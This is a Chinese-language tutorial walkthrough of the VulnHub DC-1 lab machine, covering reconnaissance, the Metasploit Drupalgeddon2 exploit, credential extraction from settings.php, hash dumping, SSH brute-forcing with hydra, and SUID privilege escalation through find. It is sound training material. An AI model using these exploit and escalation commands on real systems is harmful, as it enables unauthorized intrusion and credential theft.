vulnhub练习 DC-1复现及分析
字数 1209 2025-08-18 11:36:53

DC-1 靶机复现及渗透测试教学文档

一、环境搭建

1. 工具准备

  • 靶机: DC-1 (IP: 192.168.200.17)
  • 攻击机: Kali Linux (IP: 192.168.200.13)

2. 网络配置

  • 攻击机和靶机网络连接方式需相同
  • 推荐使用NAT模式(也可使用桥接模式)
  • 查看DC-1的MAC地址方法: 点击虚拟机"高级"选项

二、信息收集阶段

1. 扫描存活主机

常用工具及命令:

arp-scan -l
nmap -sP 192.168.200.0/24 -T4
netdiscover

2. 端口扫描

nmap -sV -p- 192.168.200.17

参数说明:

  • -sV: 扫描目标主机端口上运行的软件信息
  • -p-: 扫描全部端口(0-65535)

3. 指纹识别

识别网站CMS类型:

whatweb -v 192.168.200.17

或使用浏览器插件Wappalyzer

识别结果: Drupal 7 CMS

4. 目录扫描

使用工具如dirb、dirbuster等进行目录扫描

三、漏洞利用

1. 使用Metasploit利用Drupal漏洞

漏洞编号: CVE-2018-7600 (Drupal远程代码执行漏洞)

步骤:

msfconsole
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS 192.168.200.17
exploit

成功后会建立Meterpreter会话

2. 获取shell

shell
python -c 'import pty; pty.spawn("/bin/bash")'

3. 查找flag1

执行ls查看当前目录,发现flag1文件

四、数据库操作

1. 查找配置文件

cat sites/default/settings.php

发现flag2,并获取数据库凭据:

  • 数据库类型: mysql
  • 用户名: dbuser
  • 密码: R0ck3t

2. 连接数据库

mysql -udbuser -pR0ck3t

3. 数据库操作

show databases;
use drupaldb;
show tables;
select * from users;

获取到两个加密的用户密码:

  • admin: \(S\)DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
  • Fred: \(S\)DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg

4. 密码重置方法

方法一: 修改admin密码

  1. 找到加密脚本:
/var/www/scripts/password-hash.sh
  1. 生成新密码hash:
php /var/www/scripts/password-hash.sh admin

输出示例:

username: admin 
hash: $S$Dhk7CjZDCy.ZjoGxxBWmfuzwUiGVZZAqOvNz4Ah0w72GQV5tLj5i
  1. 更新数据库:
update users set pass = "$S$Dhk7CjZDCy.ZjoGxxBWmfuzwUiGVZZAqOvNz4Ah0w72GQV5tLj5i" where name = 'admin';

方法二: 添加admin用户

利用Drupal 7(7.0~7.31)的SQL注入漏洞(CVE-2014-3704)

五、权限提升

1. 获取flag3

登录admin账户后找到flag3,提示查看:

/etc/passwd
/etc/shadow

2. 查找flag4用户

cat /etc/passwd

发现flag4用户

3. 获取flag4密码方法

方法一: 密码爆破

使用hydra爆破flag4用户的SSH密码:

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.200.17

爆破结果: flag4/orange

方法二: SUID提权

  1. 查找具有SUID权限的文件:
find / -perm -4000
  1. 利用find命令提权:
find ./misc -exec "/bin/sh" \;

4. 获取root权限

  1. 使用flag4用户登录:
ssh flag4@192.168.200.17
  1. 再次使用SUID提权方法获取root权限

5. 获取最终flag

在root目录下找到thefinalflag.txt

六、总结与关键命令

  1. 主机发现:

    arp-scan -l
    nmap -sP 192.168.200.0/24
    
  2. 端口扫描:

    nmap -sV -p- 192.168.200.17
    
  3. 漏洞利用:

    use exploit/unix/webapp/drupal_drupalgeddon2
    
  4. 密码爆破:

    hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.200.17
    
  5. 提权方法:

    find / -perm -4000
    find ./misc -exec "/bin/sh" \;
    
  6. Drupal密码重置:

    php /var/www/scripts/password-hash.sh 新密码
    

通过以上步骤,完整复现了DC-1靶机的渗透测试过程,涵盖了信息收集、漏洞利用、数据库操作和权限提升等关键环节。

DC-1 靶机复现及渗透测试教学文档 一、环境搭建 1. 工具准备 靶机 : DC-1 (IP: 192.168.200.17) 攻击机 : Kali Linux (IP: 192.168.200.13) 2. 网络配置 攻击机和靶机网络连接方式需相同 推荐使用NAT模式(也可使用桥接模式) 查看DC-1的MAC地址方法: 点击虚拟机"高级"选项 二、信息收集阶段 1. 扫描存活主机 常用工具及命令: 2. 端口扫描 参数说明: -sV : 扫描目标主机端口上运行的软件信息 -p- : 扫描全部端口(0-65535) 3. 指纹识别 识别网站CMS类型: 或使用浏览器插件Wappalyzer 识别结果: Drupal 7 CMS 4. 目录扫描 使用工具如dirb、dirbuster等进行目录扫描 三、漏洞利用 1. 使用Metasploit利用Drupal漏洞 漏洞编号: CVE-2018-7600 (Drupal远程代码执行漏洞) 步骤: 成功后会建立Meterpreter会话 2. 获取shell 3. 查找flag1 执行 ls 查看当前目录,发现flag1文件 四、数据库操作 1. 查找配置文件 发现flag2,并获取数据库凭据: 数据库类型: mysql 用户名: dbuser 密码: R0ck3t 2. 连接数据库 3. 数据库操作 获取到两个加密的用户密码: admin: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR Fred: $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg 4. 密码重置方法 方法一: 修改admin密码 找到加密脚本: 生成新密码hash: 输出示例: 更新数据库: 方法二: 添加admin用户 利用Drupal 7(7.0~7.31)的SQL注入漏洞(CVE-2014-3704) 五、权限提升 1. 获取flag3 登录admin账户后找到flag3,提示查看: 2. 查找flag4用户 发现flag4用户 3. 获取flag4密码方法 方法一: 密码爆破 使用hydra爆破flag4用户的SSH密码: 爆破结果: flag4/orange 方法二: SUID提权 查找具有SUID权限的文件: 利用find命令提权: 4. 获取root权限 使用flag4用户登录: 再次使用SUID提权方法获取root权限 5. 获取最终flag 在root目录下找到thefinalflag.txt 六、总结与关键命令 主机发现 : 端口扫描 : 漏洞利用 : 密码爆破 : 提权方法 : Drupal密码重置 : 通过以上步骤,完整复现了DC-1靶机的渗透测试过程,涵盖了信息收集、漏洞利用、数据库操作和权限提升等关键环节。